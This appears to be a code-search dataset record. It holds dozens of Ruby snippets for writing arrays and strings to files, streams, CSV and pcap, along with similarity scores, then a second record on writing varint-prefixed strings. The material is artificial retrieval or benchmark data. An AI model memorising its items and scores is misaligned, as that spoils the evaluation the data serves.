"def save_file(filename, array)\n file = File.new(filename, \"w\")\n file.write(JSON.generate(array))\n file.close\nend",
"def write_file(file_name, content_array)\n\n\toutput = File.new(file_name, 'w')\n\tcontent_array.each { |line| output.write line }\n\toutput.close\nend",
"def write(file)\n value.each do |item|\n # always write int4 in network order (as per GDSII spec)\n file.write [item].pack('N')\n end\n end",
"def write(io)\n io.write [@value].pack(format)\n end",
"def array_to_file(args={})\n\t\t\t\tfilename = args[:filename] || args[:file] || args[:out] || :nowrite\n\t\t\t\tarr = args[:arr] || args[:array] || []\n\t\t\t\tts = args[:ts] || args[:timestamp] || args[:time_stamp] || Time.now.to_f\n\t\t\t\tts_inc = args[:ts_inc] || args[:timestamp_increment] || args[:time_stamp_increment]\n\t\t\t\tbyte_order = args[:byte_order] || args[:byteorder] || args[:endian] || args[:endianness] || :little\n\t\t\t\tappend = args[:append]\n\t\t\t\tRead.set_byte_order(byte_order) if [:big, :little].include? byte_order\n\t\t\t\ttime_now = ts\n\t\t\t\tif arr.class != Array\n\t\t\t\t\traise ArgumentError, \"This needs to be an array.\"\n\t\t\t\tend\n\t\t\t\tformatted_packets = format_packets(args)\n\t\t\t\tif append and filename != :nowrite and File.readable?(filename) and File.writable?(filename)\n\t\t\t\t\torig_byte_order = Read.get_byte_order(File.open(filename) {|f| f.read(4)})\n\t\t\t\t\tif byte_order == orig_byte_order \n\t\t\t\t\t\tf = File.open(filename,'a') {|file| file.write(formatted_packets.join) }\n\t\t\t\t\t\treturn [filename,formatted_packets.join.size,arr.size,ts,ts_inc]\n\t\t\t\t\telse\n\t\t\t\t\t\torig_packets = Read.f2a(:file => filename, :ts => true) # This flips byte_order to the file's\n\t\t\t\t\t\tRead.set_byte_order(byte_order) # This toggles it back.\n\t\t\t\t\t\tformatted_orig_packets = format_packets(:ts => ts, :ts_inc => ts_inc, :arr => orig_packets)\n\t\t\t\t\t\tfiledata = PcapFile.new\n\t\t\t\t\t\tfiledata.read(PcapFile.new.to_s + (formatted_orig_packets + formatted_packets).join)\n\t\t\t\t\tend\n\t\t\t\telse\n\t\t\t\t\tfiledata = PcapFile.new\n\t\t\t\t\tfiledata.read(PcapFile.new.to_s + formatted_packets.join) # Like a cat playing the bass.\n\t\t\t\tend\n\t\t\t\tif filename != :nowrite\n\t\t\t\t\tFile.open(filename.to_s,'w') {|file| file.write filedata}\n\t\t\t\t\t# Return [filename, file size, # of new packets, initial timestamp, timestamp increment]\n\t\t\t\t\tret = [filename,filedata.to_s.size,arr.size,ts,ts_inc]\n\t\t\t\telse\n\t\t\t\t\tret = [nil,filedata.to_s.size,arr.size,ts,ts_inc]\n\t\t\t\tend\n\t\t\tend",
"def write_array_to_file\n lines = File.new('members.txt', 'w')\n\n @@member_array.each_with_index do | member |\n lines.puts \"#{member.member_id}/#{member.member_name}/#{member.book_id_1}/#{member.book_id_2}/#{member.book_id_3}\"\n end\n lines.close\n end",
"def write( x )\n Array( x ).each {|e| @head[-1] << e }\n end",
"def write( message )\n\t\t\t@array << message\n\t\tend",
"def write( message )\n\t\t\t@array << message\n\t\tend",
"def write( message )\n\t\t\t@array << message\n\t\tend",
"def write(data); end",
"def write(data); end",
"def write(data); end",
"def write(data); end",
"def save_as_JSON(array)\n final_array = array\n File.open(\"emails.json\", \"w\") do |town|\n town.write(final_array.to_json)\n end\n end",
"def put_int64_array(arr)\n put_int(arr.length)\n put_int64(*arr)\n self\n end",
"def write(data, *args, **kwd); end",
"def write(buf); end",
"def to_csv(array)\n @io.rewind\n @io.truncate(0)\n @csv << array\n @io.rewind\n @io.string\n end",
"def write(data)\n end",
"def write(io)\n @values.each {|field|\n field.write io\n }\n end",
"def write_buffer(io = T.unsafe(nil)); end",
"def puts_array(array)\n array.each {|item| puts item}\n end",
"def write_tag_file(tag_array)\n ::File.open(@tag_file, 'w') { |file| file.write(JSON.pretty_generate(tag_array)) }\n end",
"def write_byte(*n); end",
"def write(data)\n raise CSVStream::InsufficientDataError unless data.is_a?(Array)\n\t \twrapper = data[0].is_a?(Array) ? data : [data]\n \t\twrapper.each {|r| write_row(r) }\n \tend",
"def write data\n _data[:out].write data\n _data[:out].flush\n end",
"def append(args={})\n\t\t\t\tarray_to_file(args.merge(:append => true))\n\t\t\tend",
"def print_array(array)\n length(array).times do |index|\n puts array[index]\n end\n # raise NotImplementedError\nend",
"def print_array(array)\n raise NotImplementedError\nend",
"def output_array(array)\n counter = 0\n while counter < array.length do\n puts array\n counter += 1\n end\nend",
"def array_to_wire(args={})\n\t\t\tpkt_array = args[:array] || args[:arr] || @array\n\t\t\tinterval = args[:int] || args[:sleep]\n\t\t\tshow_live = args[:show_live] || args[:live] || @show_live\n\n\t\t\t@stream = Pcap.open_live(@iface,@snaplen,@promisc,@timeout)\n\t\t\tpkt_count = 0\n\t\t\tpkt_array.each do |pkt|\n\t\t\t\t@stream.inject(pkt)\n\t\t\t\tsleep interval if interval\n\t\t\t\tpkt_count +=1\n\t\t\t\tputs \"Sent Packet \\##{pkt_count} (#{pkt.size})\" if show_live\n\t\t\tend\n\t\t\t# Return # of packets sent, array size, and array total size \n\t\t\t[pkt_count, pkt_array.size, pkt_array.join.size]\n\t\tend",
"def write(*args)\n args.each do |a|\n @serial.write a.chr\n end\n end",
"def binwrite(data, *args, **kwd); end",
"def write_int64(*n); end",
"def write(arr)\n starting_id = read.length\n CSV.open('contacts.csv', 'a') do |csv|\n csv << arr.unshift(starting_id)\n end\n end",
"def save_file_array(input_obj_array)\n\tinput_obj_array.each {|each_obj| save_file(each_obj)}\nend",
"def test_array_arg\n\tarray = Array.new\n\tw = NQXML::Writer.new(array)\n\n\tw.write('data')\n\tassert_equals(['data'], array)\n\n\tw.comment('foo')\n\tassert_equals(['data', '<!--foo-->'], array)\n end",
"def write(data)\n @data << data\n end",
"def write_many(writer, items, options = nil)\n writer.push_array\n items.each do |item|\n write_one(writer, item, options)\n end\n writer.pop\n end",
"def output_array(array)\n counter = 0 \n while counter < array.length do \n puts array[counter]\n counter += 1\n end \nend",
"def export_data(array, name = \"data\")\n CSV.open(\"public/data/\" + name + \"_\" + Time.now.strftime(\"%m_%d_%Y_%H:%M:%S\") + \".csv\", \"w\") do |csv|\n csv << array\n end\n end",
"def export_data(array, name = \"data\")\n CSV.open(\"public/data/\" + name + \"_\" + Time.now.strftime(\"%m_%d_%Y_%H:%M:%S\") + \".csv\", \"w\") do |csv|\n csv << array\n end\n end",
"def write_to(io, *options); end",
"def write_to io\n io.write(self.to_2da)\n end",
"def write(d)\n @writer << d\n d.bytesize\n end",
"def write_binary(file:, data:, address: nil)\n File.open(file, 'wb') do |f|\n f.write Array(address).pack('S') if address\n f.write Array(data.flatten).pack('C*')\n end\n end",
"def print_array my_array\n\t\tp my_array\n\tend",
"def write options={}, &block\n return unless output\n data = []\n block.call(data) if block_given?\n text = {\n :data => data.map do |measurement|\n key, value = measurement\n { :key => key, :value => value }\n end\n }.merge(options).to_json\n\n begin\n output.puts(text)\n rescue Errno::ENXIO\n # FIFO's reader isn't alive...\n end\n end",
"def array_to_binary(val)\n saved_object_count = @written_object_count\n @written_object_count += 1\n\n bdata = Binary.type_bytes(\"a\", val.value.size) # a is 1010, type indicator for arrays\n\n val.value.each do |v|\n bdata += Binary.pack_it_with_size(@object_ref_size, v.to_binary(self));\n end\n\n @object_table[saved_object_count] = bdata\n return saved_object_count\n end",
"def send_array(array, flags = 0)\n array = array.to_a\n array[0...-1].each { |str| send_string str, ZMQ::SNDMORE|flags }\n send_string array.last, flags\n end",
"def print_array(array)\n\n array.length.times do |array_element|\n print \"#{array_element} \"\n end\n # raise NotImplementedError\nend",
"def print_array(array)\n (length(array)).times do |i|\n print array[i]\n end\n # raise NotImplementedError\nend",
"def write\n open(@fname,\"wb\") do |file|\n Marshal.dump(@data,file)\n end\n end",
"def output_array(array)\n count = 0\n while count < array.length do\n puts array[count]\n count += 1\n end\nend",
"def write\n write_data\n end",
"def writeCSVFile(dataArray, fileName)\n\t# Create file handle\n\toutFile = File.new(fileName, 'w');\n\t\n\t# Loop through and output each piece of data\n\tdataArray.each_index do |i|\n\t\toutFile.print(\"#{dataArray[i]}\")\n\t\t\n\t\t# This check is so that we do not have an extra comma at the end\n\t\tif (i < dataArray.length() - 1)\n\t\t\toutFile.print(\", \");\n\t\tend\n\tend\n\toutFile.puts();\n\t\n\toutFile.close();\nend",
"def write(file)\n # write the length & header; always write length (int2) as network\n # order (as per GDSII spec)\n file.write [self.byte_size].pack('n')\n file.write [self.type].pack('c')\n file.write [self.data.type].pack('c')\n\n # now write the data...\n @data.write(file)\n end",
"def print_array(array)\n p array\nend",
"def writeData(w)\n ygrid = getOption('ygrid')\n \n elems = @data.shape\n if ( elems.length == 1 ) then write_data_1D(w)\n elsif( elems.length == 2 ) then write_data_2D(w)\n end\n end",
"def write; end",
"def write; end",
"def write(chunk, last_chunk = T.unsafe(nil)); end",
"def write(chunk, last_chunk = T.unsafe(nil)); end",
"def write(chunk, last_chunk = T.unsafe(nil)); end",
"def write(chunk, last_chunk = T.unsafe(nil)); end",
"def write_long(*n); end",
"def printArray(array, size)\r\n\tfor i in 1..size\r\n\t\tputs \"\\nThe value at index #{i} is: #{array[i]}\"\r\n\tend\r\n\tputs \"\\n\"\r\nend",
"def encode_array(arr)\n arr.join ','\n end",
"def array2str(type, arr)\n case type\n when :char, :int8\n arr.pack('c*')\n when :uchar, :uint8\n arr.pack('C*')\n when :short, :int16\n arr.pack('s*')\n when :ushort, :uint16\n arr.pack('S*')\n when :int32\n arr.pack('l*')\n when :uint32\n arr.pack('L*')\n when :int\n arr.pack('i!*')\n when :uint\n arr.pack('I!*')\n when :bool\n [arr ? 1 : 0].pack('i!*')\n when :long\n arr.pack('l!*')\n when :ulong\n arr.pack('L!*')\n when :long_long, :int64\n arr.pack('q*')\n when :ulong_long, :uint64\n arr.pack('Q*')\n when :size_t\n arr.pack(SIZET_FORMAT)\n when :float\n arr.pack('f*')\n when :double\n arr.pack('d*')\n when :string, :pointer\n arr.pack('p*')\n else\n raise \"unknown type #{type}\"\n end\n end",
"def write_int(value, stream = @index)\n stream.write([value].pack('L'))\n end",
"def write(*args)\n case args.count\n when 0\n raise ArgumentError, \"missing arguments\"\n when 1\n data = args.first\n else\n data = args\n end\n\n enable do\n case data\n when Numeric\n Rpio.driver.spi_transfer(data)\n when Enumerable\n Rpio.driver.spi_transfer_bytes(data)\n else\n raise ArgumentError, \"#{data.class} is not valid data. Use Numeric or an Enumerable of numbers\"\n end\n end\n end",
"def print_array(array)\n puts \"NOT IMPLEMENTED\"\nend",
"def write( addr, val )\n row_idx, col_idx = address_to_indices( addr )\n ( row_idx - rows ).times { @data << [] }\n @data[ row_idx-1 ][ col_idx-1 ] = val\n calc_dimensions if row_idx > rows || col_idx > cols\n val\n end",
"def stream_out\r\n stream = []\r\n size = @size\r\n if @size == -1\r\n size = @data.length\r\n end\r\n if @data.length <= size\r\n stream = Array.new(@data)\r\n (size - @data.length).times do |i|\r\n stream.push nil\r\n end\r\n else\r\n raise \"section #{@name} exceeds in #{@data.length - size} bytes it's predefined size\"\r\n end\r\n stream\r\n end",
"def write\n end",
"def exportfile arr\n begin\n file = File.open(\"result.txt\", \"w\")\n text = showResulf arr\n file.puts text\n file.close\n binding.pry\n rescue IOError => e\n puts \"Can not write file. Please try again after there.\"\n ensure\n file.close unless file.nil?\n end\nend",
"def write_binary(buf)\n raise NotImplementedError\n end"
] |
[
"0.7943161",
"0.71779764",
"0.6731046",
"0.67198324",
"0.6516874",
"0.63610566",
"0.63603246",
"0.6319324",
"0.61691755",
"0.61451405",
"0.6113215",
"0.60244584",
"0.60224783",
"0.5974177",
"0.5949958",
"0.59203404",
"0.5851798",
"0.5827137",
"0.5826137",
"0.5824781",
"0.57888514",
"0.5771268",
"0.57576555",
"0.57444257",
"0.5733401",
"0.5683882",
"0.56817794",
"0.56522477",
"0.55862457",
"0.5571403",
"0.5571403",
"0.5571403",
"0.55584854",
"0.55584854",
"0.55584854",
"0.55584854",
"0.5482038",
"0.54438466",
"0.54341227",
"0.5405895",
"0.53484404",
"0.5339881",
"0.53337485",
"0.5287428",
"0.5278342",
"0.5276443",
"0.5264033",
"0.5256508",
"0.52427745",
"0.52242947",
"0.5219839",
"0.5205603",
"0.52044153",
"0.518545",
"0.5182392",
"0.5161928",
"0.5161229",
"0.51420176",
"0.51403975",
"0.5109329",
"0.5107259",
"0.51059765",
"0.51037633",
"0.50729305",
"0.50729305",
"0.50687987",
"0.5060394",
"0.50477105",
"0.5040197",
"0.5039018",
"0.5036642",
"0.5034105",
"0.5028585",
"0.50195867",
"0.50170344",
"0.50002813",
"0.49977976",
"0.49823803",
"0.49801296",
"0.49797678",
"0.49726334",
"0.49551696",
"0.49357465",
"0.49357465",
"0.4932255",
"0.4932255",
"0.4932255",
"0.4932255",
"0.49200988",
"0.49130422",
"0.4907478",
"0.49071258",
"0.49018463",
"0.4892721",
"0.48805565",
"0.4871735",
"0.48698455",
"0.48646954",
"0.48630303",
"0.48613435"
] |
0.6815927
|
2
|
Writes a string to the IO object.
|
def write_string(string)
if string.nil?
write_int16(-1)
else
write_int16(string.bytesize)
write(string)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def write(string)\n @handle.write(string)\n end",
"def write string\n end",
"def write(str)\n writing { write0 str }\n end",
"def write!( string )\n @stream << string\n end",
"def write_string(string)\n\t\twrite_byte(2)\n\t\twrite_utf(string.to_s)\n\tend",
"def syswrite(string)\n raise NotImplementedError\n end",
"def write(str)\n puts self.writings(str)\n end",
"def write(str)\n puts self.writings(str)\n end",
"def write(string)\n @buffer << string\n self\n end",
"def write(s)\n @file.write(s)\n end",
"def write(string)\n log :write, string\n @socket << string\n end",
"def write(string)\n self << string\n end",
"def write(str)\n STDOUT.write str\n end",
"def write(io)\n if io.is_a?(String)\n io = File.open(io, 'w')\n self.write(io)\n io.close\n return\n end\n\n Marshal.dump(self, io)\n end",
"def write_(s)\n s = s.encode(@conf['encoding'], s.encoding)\n @sock.puts s\n log.info \"W > #{s}\"\n end",
"def write(string, filename)\n Util::FileMutation.write(string, filename)\n end",
"def write(string)\n each_ios_and_stdout(string).map(&:write)\n end",
"def write_string(name, text)\n\n\t\tpath = @dir + name\n\n\t\tFile.open(path, \"wb\") do |file|\n\t\t\tfile << text\n\t\tend\n\tend",
"def print(str)\n @io << str\n end",
"def print(str)\n @io << str\n end",
"def write s\n raise RuntimeError, \"No socket\" unless @socket\n @socket.puts s += \"\\r\\n\"\n puts \"WROTE: #{s.inspect}\" if config[:debug]\n end",
"def write_output(string)\n @output << string\n end",
"def write(string)\n send(string)\n string.length\n end",
"def write(str)\n\t\tlog \"Write: #{str.inspect}\", :traffic\n\t\t\n\t\tbegin\n\t\t\tstr.each_byte do |b|\n\t\t\t\t@device.putc(b.chr)\n\t\t\tend\n\t\t\n\t\t# the device couldn't be written to,\n\t\t# which probably means that it has\n\t\t# crashed or been unplugged\n\t\trescue Errno::EIO\n\t\t\traise Gsm::WriteError\n\t\tend\n\tend",
"def write(str, len=nil)\n raise ArgumentError, \"str must respond to :to_s\" unless str.respond_to? :to_s\n @mem.write_string(str.to_s, len)\n end",
"def write(str)\n return if noop?\n FileUtils.mkdir_p(File.dirname(file)) #unless File.file?(file)\n File.open(file, 'w'){ |f| f << str }\n end",
"def puts(str = '')\n @io << str << \"\\n\"\n end",
"def write(string)\n written = 0\n length = string.bytesize\n while written < length\n begin\n written += write_nonblock(string.byteslice(written, length - written))\n rescue IO::WaitWritable, Errno::EINTR\n block_until_writable\n retry\n end\n end\n written\n end",
"def write(string)\n string.to_s.bytesize\n end",
"def write(str)\n s = str.to_s\n # TODO: implement String#bytesize\n @length += s.size\n @writer.call s\n\n set_header(Rack::CONTENT_LENGTH, @length)\n str\n end",
"def write(string, *smth)\n #This is a stub, used for indexing\n end",
"def write(s)\n do_write(s)\n s.bytesize\n end",
"def write str = \"\"\n @socket.write str + \"\\r\\n\"\n end",
"def write(string)\n length = string.length\n while 0 < length\n IO::select(nil, [@sock])\n @dumplog.log_dump('>', string[-length..-1]) if @options.has_key?(\"Dump_log\")\n length -= @sock.syswrite(string[-length..-1])\n end\n end",
"def write(text)\n shell.write(text)\n end",
"def write_string(string, data: nil, stream: nil)\n raise ArgumentError, \"String must be present\" if !string\n\n intbuf = write_varint(string.bytesize, data: data, stream: stream)\n\n stringbuf = BTC::Data.ensure_binary_encoding(string)\n\n data << stringbuf if data\n stream.write(stringbuf) if stream\n\n intbuf + stringbuf\n end",
"def write_output(str, output)\n if output.is_a?(IO)\n output.puts(str)\n else\n File.open(output, 'w+') { |f| f.puts(str) }\n end\n end",
"def puts(str)\n @response.write(str)\n end",
"def write_string(*text); end",
"def write(io)\n write_with_crc(io, content || \"\")\n end",
"def write(s)\n @data += s\n end",
"def <<(string)\n\t\t\t\twrite(string)\n\t\t\t\t\n\t\t\t\treturn self\n\t\t\tend",
"def writeline(str)\n writing { write0 str + \"\\r\\n\" }\n end",
"def do_write(s)\n @wbuffer << s\n @wbuffer.force_encoding(Encoding::BINARY)\n @sync ||= false\n\n if @sync or @wbuffer.size > BLOCK_SIZE or idx = @wbuffer.rindex($/)\n remain = idx ? idx + $/.size : @wbuffer.length\n nwritten = 0\n\n while remain > 0\n str = @wbuffer[nwritten,remain]\n begin\n nwrote = syswrite(str)\n rescue Errno::EAGAIN\n retry\n end\n remain -= nwrote\n nwritten += nwrote\n end\n\n @wbuffer[0,nwritten] = \"\"\n end\n end",
"def write(text); @connection.puts(text) end",
"def write(io)\n write_with_crc(io, content || '')\n end",
"def write_to(io)\n end",
"def write_to(io)\n end",
"def syswrite(string)\n each_ios_and_stdout(string).map(&:syswrite)\n end",
"def write_string_to(key, string, mtime: nil)\n mtime ||= Time.now\n copy_io_to(key, StringIO.new(string), Digest::MD5.base64digest(string), string.length, mtime: mtime)\n end",
"def write(str)\n\t return if str.nil? || str.empty?\n\t finishStartTag() if @inStartTag\n\t @io << NQXML.encode(str)\n\tend",
"def write(io)\n io = BinData::IO.new(io) unless BinData::IO === io\n\n do_write(io)\n io.flush\n self\n end",
"def socket_put(str)\n\t\t\t\tdebug(\">>> \" + str)\n\t\t\t\t@socket.puts str\n\t\t\tend",
"def write(string)\n\t\t\t\t@write_buffer << string\n\t\t\t\t\n\t\t\t\tif @write_buffer.size > @block_size\n\t\t\t\t\tflush\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\treturn string.bytesize\n\t\t\tend",
"def text(str)\n @serial.write(\"#{str}\\r\")\n end",
"def write(string)\n @dumplog.log_dump('>', string) if @options.has_key?(\"Dump_log\")\n @channel.send_data string\n end",
"def writeline(str)\n\t\t\tputs(\"writing #{(str+\"\\r\\n\").inspect}\") if $DEBUG\n\t\t\t@connection.write(str + \"\\r\\n\")\n\t\tend",
"def put(text)\n ostream << text\n ostream.flush\n end",
"def string\n @io.string\n end",
"def puts(string)\n self.buffer += (string + \"\\n\")\n Kernel.puts string\n end",
"def write (text)\n @client.puts(text)\n end",
"def outo( str )\n outi nil, str\n end",
"def write(text)\n content.send @opts[:write], text\n end",
"def write(text)\n write_file(@writer, text.to_s)\n end",
"def write(s)\n @port.write(s)\n sleep(@wait_after_send / 1000.0) if @wait_after_send\n end",
"def write_utf(file, string, md)\n write_short(file, string.length, md)\n write(file, string, md)\n end",
"def canonical_write( str )\n return self if @io.nil?\n\n str = str.force_encoding(encoding) if encoding and str.encoding != encoding\n @io.flock_sh { @io.syswrite str }\n\n if roll_required?\n @io.flock? {\n @age_fn_mtime = nil\n copy_truncate if roll_required?\n }\n @roller.roll_files\n end\n self\n rescue StandardError => err\n self.level = :off\n ::Logging.log_internal {\"appender #{name.inspect} has been disabled\"}\n ::Logging.log_internal(-2) {err}\n end",
"def unbuffered_write(string)\n bytes_written = @io.write(string)\n @total_bytes_in += bytes_written\n bytes_written\n end",
"def write_to(io, *options); end",
"def string\n self.io unless @written\n return @io.string\n end",
"def puts(str = '')\n @io << str << \"<br/>\\n\"\n end",
"def write(io, constraints = {})\n to_datastream(constraints).write(io)\n end",
"def write(io, constraints = {})\n to_datastream(constraints).write(io)\n end",
"def write(*s)\r\n if redirected?\r\n s.each{ |x| @Out.WriteFile(x.dup.to_s) }\r\n else\r\n s.each{ |x| _PrintString(x) }\r\n end\r\n end",
"def write(path, str, offset = 0, opts = {})\n mode = (offset || 0) > 0 ? 'r+' : (opts[:mode] || 'w')\n\n file.open(path, mode, opts[:perm] || 0o644) do |io|\n io.pos = offset if offset != 0\n io.write(str)\n end\n end",
"def sendString(str)\r\n\t$oculussock.puts str\r\n\tputs \"> \"+str \r\nend",
"def __emit(str)\n __writer.flush\n end",
"def io(data, io)\n io.write(obj)\n end",
"def _do_write(io)\n raise NotImplementedError\n end",
"def write(bytes)\n @io.write(bytes)\n\n nil\n end",
"def write(msg)\n @handle.puts(msg)\n end",
"def puts(string)\n send(string)\n nil\n end",
"def write(string)\n sanitized_string = string.to_s.chomp(\"\\n\")\n @logger.send(@method, sanitized_string) if sanitized_string.size > 0\n end",
"def utf8write(str,f)\n File.open(f,\"wb:utf-8\"){|ff|\n ff.write(str)\n }\nend",
"def write(io)\n io.write [@value].pack(format)\n end",
"def << (s)\n do_write(s)\n self\n end",
"def write_nonblock(string, _options = {})\n write(string)\n end",
"def addOutput( string )\n\t\t@obuffer << string.chomp << EOL\n\t\t@server.reactor.enableEvents( @socket, :write )\n\tend",
"def puts(str)\n @contents << str << \"\\n\"\n end",
"def send(str)\n write(str + 0.chr)\n end",
"def write_str(str, enc = \"UTF-8\")\n @j_del.write(str, enc)\n self\n end",
"def write_str(str, enc = \"UTF-8\")\n @j_del.write(str, enc)\n self\n end",
"def write_str(str, enc = \"UTF-8\")\n @j_del.write(str, enc)\n self\n end",
"def write(str)\n s = str.to_s\n\n @length += s.bytesize\n @headers[Rack::CONTENT_LENGTH] = @length.to_s\n @body << s\n end",
"def write(*strings)\n strings.each do |string|\n buffer.append(string)\n end\n end",
"def puts(string=\"\\n\")\n io.puts(string)\n end",
"def data=(string)\n File.open(@full_path, \"w+\") {|f| f << string }\n end",
"def <<( str )\n if @closed\n raise RuntimeError,\n \"appender '<#{self.class.name}: #{@name}>' is closed\"\n end\n\n unless off?\n begin\n write(str)\n rescue StandardError => err\n ::Logging.log_internal_error(err)\n end\n end\n self\n end",
"def write_line(string, filename)\n Util::FileMutation.write_line(string, filename)\n end",
"def write(input)\r\n target.write input\r\n self\r\n end"
] |
[
"0.847355",
"0.8362848",
"0.8215714",
"0.7903698",
"0.76729614",
"0.7595885",
"0.7568859",
"0.7568859",
"0.7534099",
"0.7523392",
"0.7456617",
"0.7439216",
"0.7409765",
"0.7332832",
"0.73086363",
"0.7307801",
"0.7083046",
"0.70591205",
"0.70111567",
"0.70111567",
"0.6938605",
"0.69350666",
"0.6930351",
"0.6912438",
"0.6874622",
"0.6854992",
"0.6846911",
"0.684218",
"0.6829379",
"0.68083364",
"0.67710435",
"0.6713532",
"0.67096084",
"0.6701617",
"0.6671663",
"0.66714334",
"0.6670246",
"0.6636943",
"0.663374",
"0.66180956",
"0.6614456",
"0.66141146",
"0.6596632",
"0.65922976",
"0.6579292",
"0.6575862",
"0.65629107",
"0.65629107",
"0.65607613",
"0.65169936",
"0.64936304",
"0.64851123",
"0.646587",
"0.6451081",
"0.6443446",
"0.6431391",
"0.64303184",
"0.6426945",
"0.6407371",
"0.640297",
"0.63909143",
"0.6387696",
"0.6375424",
"0.6356437",
"0.6344663",
"0.63237244",
"0.631279",
"0.62973773",
"0.62940866",
"0.62828207",
"0.62772596",
"0.62716734",
"0.62716734",
"0.62710744",
"0.62653494",
"0.6236915",
"0.622076",
"0.6220181",
"0.6205304",
"0.62021327",
"0.61814266",
"0.6179516",
"0.61687934",
"0.6164895",
"0.61471456",
"0.6140052",
"0.61041605",
"0.6103176",
"0.6097346",
"0.6095905",
"0.60878116",
"0.60878116",
"0.60878116",
"0.60832137",
"0.60742354",
"0.6068462",
"0.6053883",
"0.60352063",
"0.59951204",
"0.5973157"
] |
0.7045185
|
18
|
Writes a string to the IO object, the size is under varint format
|
def write_varint_string(string)
if string.nil?
write_varint(-1)
else
write_varint(string.bytesize)
write(string)
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def write(string)\n string.to_s.bytesize\n end",
"def write(s)\n do_write(s)\n s.bytesize\n end",
"def write string\n end",
"def write(str)\n writing { write0 str }\n end",
"def write(string)\n send(string)\n string.length\n end",
"def write(str)\n s = str.to_s\n # TODO: implement String#bytesize\n @length += s.size\n @writer.call s\n\n set_header(Rack::CONTENT_LENGTH, @length)\n str\n end",
"def write_string(string)\n\t\twrite_byte(2)\n\t\twrite_utf(string.to_s)\n\tend",
"def write(string)\n\t\t\t\t@write_buffer << string\n\t\t\t\t\n\t\t\t\tif @write_buffer.size > @block_size\n\t\t\t\t\tflush\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\treturn string.bytesize\n\t\t\tend",
"def write_string(string)\n if string.nil?\n write_int16(-1)\n else\n write_int16(string.bytesize)\n write(string)\n end\n end",
"def write(string)\n @handle.write(string)\n end",
"def write(str, len=nil)\n raise ArgumentError, \"str must respond to :to_s\" unless str.respond_to? :to_s\n @mem.write_string(str.to_s, len)\n end",
"def write(str)\n s = str.to_s\n\n @length += s.bytesize\n @headers[Rack::CONTENT_LENGTH] = @length.to_s\n @body << s\n end",
"def stringio_length(io)\n io.string.length\n end",
"def write!( string )\n @stream << string\n end",
"def syswrite(string)\n raise NotImplementedError\n end",
"def write(str)\n puts self.writings(str)\n end",
"def write(str)\n puts self.writings(str)\n end",
"def write(s)\n @file.write(s)\n end",
"def write(s)\n binary_to_store = Marshal.dump(s)\n bytes = @ioctx.write(@oid, binary_to_store, binary_to_store.size, @offset)\n # add an xattr :\n set_attribut(@@size_xattr, binary_to_store.size)\n \n @offset += bytes\n bytes\n end",
"def write(string)\n @buffer << string\n self\n end",
"def write(string, *smth)\n #This is a stub, used for indexing\n end",
"def write_string(string, data: nil, stream: nil)\n raise ArgumentError, \"String must be present\" if !string\n\n intbuf = write_varint(string.bytesize, data: data, stream: stream)\n\n stringbuf = BTC::Data.ensure_binary_encoding(string)\n\n data << stringbuf if data\n stream.write(stringbuf) if stream\n\n intbuf + stringbuf\n end",
"def write(io)\n io.write [@value].pack(format)\n end",
"def write(string)\n length = string.length\n while 0 < length\n IO::select(nil, [@sock])\n @dumplog.log_dump('>', string[-length..-1]) if @options.has_key?(\"Dump_log\")\n length -= @sock.syswrite(string[-length..-1])\n end\n end",
"def write(io)\n write_with_crc(io, content || \"\")\n end",
"def write(string)\n written = 0\n length = string.bytesize\n while written < length\n begin\n written += write_nonblock(string.byteslice(written, length - written))\n rescue IO::WaitWritable, Errno::EINTR\n block_until_writable\n retry\n end\n end\n written\n end",
"def write_(s)\n s = s.encode(@conf['encoding'], s.encoding)\n @sock.puts s\n log.info \"W > #{s}\"\n end",
"def write_string(*text); end",
"def write(io)\n write_with_crc(io, content || '')\n end",
"def write(s)\n @data += s\n end",
"def do_write(s)\n @wbuffer << s\n @wbuffer.force_encoding(Encoding::BINARY)\n @sync ||= false\n\n if @sync or @wbuffer.size > BLOCK_SIZE or idx = @wbuffer.rindex($/)\n remain = idx ? idx + $/.size : @wbuffer.length\n nwritten = 0\n\n while remain > 0\n str = @wbuffer[nwritten,remain]\n begin\n nwrote = syswrite(str)\n rescue Errno::EAGAIN\n retry\n end\n remain -= nwrote\n nwritten += nwrote\n end\n\n @wbuffer[0,nwritten] = \"\"\n end\n end",
"def write_utf(file, string, md)\n write_short(file, string.length, md)\n write(file, string, md)\n end",
"def write(string)\n self << string\n end",
"def write(string)\n unless(string.empty?)\n output = deflator.deflate(string)\n output << deflator.flush\n io.write(output)\n else\n 0\n end\n end",
"def write_string(name, text)\n\n\t\tpath = @dir + name\n\n\t\tFile.open(path, \"wb\") do |file|\n\t\t\tfile << text\n\t\tend\n\tend",
"def unbuffered_write(string)\n bytes_written = @io.write(string)\n @total_bytes_in += bytes_written\n bytes_written\n end",
"def write(str)\n STDOUT.write str\n end",
"def write(io)\n if io.is_a?(String)\n io = File.open(io, 'w')\n self.write(io)\n io.close\n return\n end\n\n Marshal.dump(self, io)\n end",
"def write(string)\n log :write, string\n @socket << string\n end",
"def send(str)\n # $stderr.puts str.size\n (p str.size;fail) if str.size > 0x20\n print str.ljust(0x20, 'A')\nend",
"def write(io)\n wu32(io, MAGIC_NUMBER)\n wu16(io, VERSION_MAJOR)\n wu16(io, VERSION_MINOR)\n wi32(io, THIS_ZONE)\n wu32(io, sigfigs)\n wu32(io, snaplen)\n wu32(io, network)\n end",
"def truncate(integer)\n if @sio_closed_write ; __require_writable ; end\n new_size = Maglev::Type.coerce_to(integer, Fixnum, :to_int)\n raise(Errno::EINVAL, \"Invalid argument - negative length\") if new_size < 0\n s_string = @sio_string\n old_size = s_string.length\n if new_size < s_string.length\n s_string[ new_size , old_size - new_size ] = \"\"\n else\n s_string.size=(new_size)\n end\n integer\n end",
"def add_string(tag, value)\n value = value.to_s\n write_tag(tag, Type::STRING)\n Varint.serialize(@io, value.bytesize)\n @io << value\n\n self\n end",
"def write(bytes)\r\n end",
"def write_byte(*n); end",
"def write s\n raise RuntimeError, \"No socket\" unless @socket\n @socket.puts s += \"\\r\\n\"\n puts \"WROTE: #{s.inspect}\" if config[:debug]\n end",
"def outo( str )\n outi nil, str\n end",
"def string\n @io.string\n end",
"def string\n io.pos = start_index unless io.pos == start_index\n io.read(num_bytes)\n end",
"def write(string, filename)\n Util::FileMutation.write(string, filename)\n end",
